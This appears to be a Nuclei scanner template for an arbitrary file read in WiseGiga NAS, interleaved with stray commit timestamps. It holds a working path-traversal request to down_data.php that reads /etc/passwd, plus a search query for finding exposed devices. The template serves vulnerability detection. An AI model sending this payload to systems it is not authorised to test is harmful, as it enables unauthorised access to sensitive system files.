2023-08-09 15:43:26 +00:00
id : wisegiga-nas-lfi
info :
name : WiseGiga NAS - Arbitrary File Read
author : pussycat0x
severity : high
description : |
WISEGIGA NAS down_data.php has an arbitrary file download vulnerability. Due to the lax filtering of the filename parameter on the /down_data.php page, sensitive system files can be read.
reference :
- https://github.com/Threekiii/Awesome-POC/blob/master/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/WiseGiga%20NAS%20down_data.php%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8B%E8%BD%BD%E6%BC%8F%E6%B4%9E.md
metadata :
verified : true
2023-10-14 11:27:55 +00:00
max-request : 1
2023-08-09 15:43:26 +00:00
fofa-query : app="WISEGIGA-NAS"
tags : wisegiga,lfi,nas
http :
- method : GET
path :
- "{{BaseURL}}/down_data.php?filename=../../../../../../../../../../../../../../etc/passwd"
matchers-condition : and
matchers :
- type : regex
part : body
regex :
- "root:.*:0:0:"
2023-08-10 04:35:00 +00:00
- type : word
part : header
words :
- "file/unknown"
2023-08-09 15:43:26 +00:00
- type : status
status :
2023-08-10 04:35:00 +00:00
- 200
2023-10-20 11:41:13 +00:00
# digest: 4a0a00473045022055f2bd39a51514092fdb0c73c22531b19e8c2fe2fa43749baff49f4c82a2a11b022100c86014508412564ff80c6822e983ae9924c54f625eababe94eae75e1d978ea34:922c64590222798bb761d5b6d8e72950
